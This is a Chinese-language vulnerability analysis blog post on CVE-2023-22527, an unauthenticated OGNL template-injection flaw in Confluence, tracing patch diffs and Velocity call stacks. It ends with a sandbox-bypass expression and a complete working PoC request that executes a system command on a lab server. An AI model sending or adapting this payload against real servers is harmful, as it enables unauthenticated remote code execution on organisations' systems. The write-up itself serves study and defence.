CVE-2023-22527 Confluence SSTI RCE 漏洞分析
Drunkbaby Lv6

如果是 Confluence 8.5.3 版本,需要注意一下 jdk 版本需要为 11

0x01 漏洞描述

Atlassian Confluence 是由 Atlassian 开发的企业级协作软件。
2024年1月16日,Atlassian 官方披露 CVE-2023-22527 Atlassian Confluence 模板注入代码执行漏洞。攻击者可在无需登录的情况下构造恶意请求导致远程代码执行。Atlassian 官方评级严重,外界尚未流传相关利用。

0x02 影响版本

  • 影响范围

Atlassian Confluence Data Center and Server 8.0.x
Atlassian Confluence Data Center and Server 8.1.x
Atlassian Confluence Data Center and Server 8.2.x
Atlassian Confluence Data Center and Server 8.3.x
Atlassian Confluence Data Center and Server 8.4.x
Atlassian Confluence Data Center and Server 8.5.0-8.5.3

  • 安全版本

Atlassian Confluence Data Center and Server 8.5.4
Atlassian Confluence Data Center 8.6.0
Atlassian Confluence Data Center 8.7.1

0x03 漏洞分析

diff 分析

加黑了,此处加黑的是 OGNL 节点

下面的是黑名单类,黑名单里面的内容很多,其中有一项为 com.opensymphony.xwork2.ActionContext,这个类相比起于其他的类看着更奇怪一些

继续看黑名单,甚至给 package 都加了黑

加上之前在 CVE-2023-22522 里面 diff 的经验,是有一个 OGNL Guard 的类的,那么实际上这一个攻击大概率就是通过调 OGNL,通过 AST 的一系列手法最终 RCE,紧接着问题来了,入口呢?

漏洞复现

OGNL 表达式

最简单的入口就是 .vm 的文件,但是有一个前提是使用了 $stack.findValue 或是 $ognl.findValue,且参数可控。

找了一下有一个文件完美符合我们的需求 confluence/template/aui/text-inline.vm

处理 .vm 接口的 Servlet 为 ConfluenceVelocityServlet,跟一下对应请求的处理。先用对应通杀请求

1
label=test\u0027%2b#{7*7}%2b\u0027

跟进,往下走跟进 this.handleRequest() 方法生成模板,通过层层递归,最终从 URI 中拿取对应文件,并匹配

继续往下,最终会来到 org.apache.velocity.runtime.parser.node.SimpleNode#render 方法,这里会根据 OGNL 的节点类型渲染,会循环整个数组

每一次循环都会调用对应类的 render 方法,而对应数组里面类的 render 方法又会封装一个 this.jjtGetChild(0),调用 evaluate 方法,里面的过程比较冗杂,这里就不再展开了。

跟进对应类的 render() 方法,一路跟进会来到 org.apache.velocity.runtime.parser.node.ASTReference#value 方法,跟进 execute() 方法,这里会拿取 OgnlValueStack

第一次处理的是 parameters,关系如图

往下跟到 OgnlValueStack#findValue 方法,用来解析整个 .vm 模板,其中过程的调用比较简单,调用栈如下

1
2
3
4
5
6
findValue:304, OgnlValueStack (com.opensymphony.xwork2.ognl)
internalGet:85, StrutsVelocityContext (org.apache.struts2.views.velocity)
get:193, AbstractContext (org.apache.velocity.context)
get:286, InternalContextAdapterImpl (org.apache.velocity.context)
getVariableValue:843, ASTReference (org.apache.velocity.runtime.parser.node)
execute:222, ASTReference (org.apache.velocity.runtime.parser.node)

第二次处理的是 label 参数以及里面的值,其中 this.jjtGetChild(i)org.apache.velocity.runtime.parser.node.ASTMethod,ASTMethod 通常表示对对象的方法的调用,跟进

往下,跟进 method.invoke,经过一系列 invoke 调用走到 OgnlValueStack#findValue

1
2
3
4
5
6
7
8
findValue:304, OgnlValueStack (com.opensymphony.xwork2.ognl)
invoke:-1, GeneratedMethodAccessor2056 (jdk.internal.reflect)
invoke:43, DelegatingMethodAccessorImpl (jdk.internal.reflect)
invoke:566, Method (java.lang.reflect)
doInvoke:385, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
invoke:374, UberspectImpl$VelMethodImpl (org.apache.velocity.util.introspection)
invoke:28, UnboxingMethod (com.atlassian.velocity.htmlsafe.introspection)
execute:270, ASTMethod (org.apache.velocity.runtime.parser.node)

此处就会执行 OGNL 语句了,回显结果会从 DefaultTextProvider#getText

  • 既然已经可以成功执行 OGNL 表达式了,接下来就是 RCE 的利用了

RCE

这个漏洞很容易让人想到 CVE-2022-26134 的 bypass,文章里所记载的方法也是有效的

https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/

在 velocity 中可以通过如下 PoC 绕过沙箱检测,原理是获取无沙箱的 OGNL 对象并执行任意语句的绕过方法

1
#request['.KEY_velocity.struts2.context'].internalGet('ognl')

完整 PoC

1
2
3
4
5
6
7
POST http://192.168.80.139:8090/template/aui/text-inline.vm HTTP/1.1
Host: 192.168.80.139:8090
Content-Length: 372
Content-Type: application/x-www-form-urlencoded
Connection: close

label=aaa%5Cu0027%2B%23request.get%28%5Cu0027.KEY_velocity.struts2.context%5Cu0027%29.internalGet%28%5Cu0027ognl%5Cu0027%29.findValue%28%23parameters.poc%5B0%5D%2C%7B%7D%29%2B%5Cu0027&poc=%40org.apache.struts2.ServletActionContext%40getResponse%28%29.setHeader%28%5Cu0027Cmd-Ret%5Cu0027%2C%28new+freemarker.template.utility.Execute%28%29%29.exec%28%7B%22whoami%22%7D%29%29

0x04 Ref

https://github.blog/2023-01-27-bypassing-ognl-sandboxes-for-fun-and-charities/
https://confluence.atlassian.com/security/cve-2023-22527-rce-remote-code-execution-vulnerability-in-confluence-data-center-and-confluence-server-1333990257.html

 评论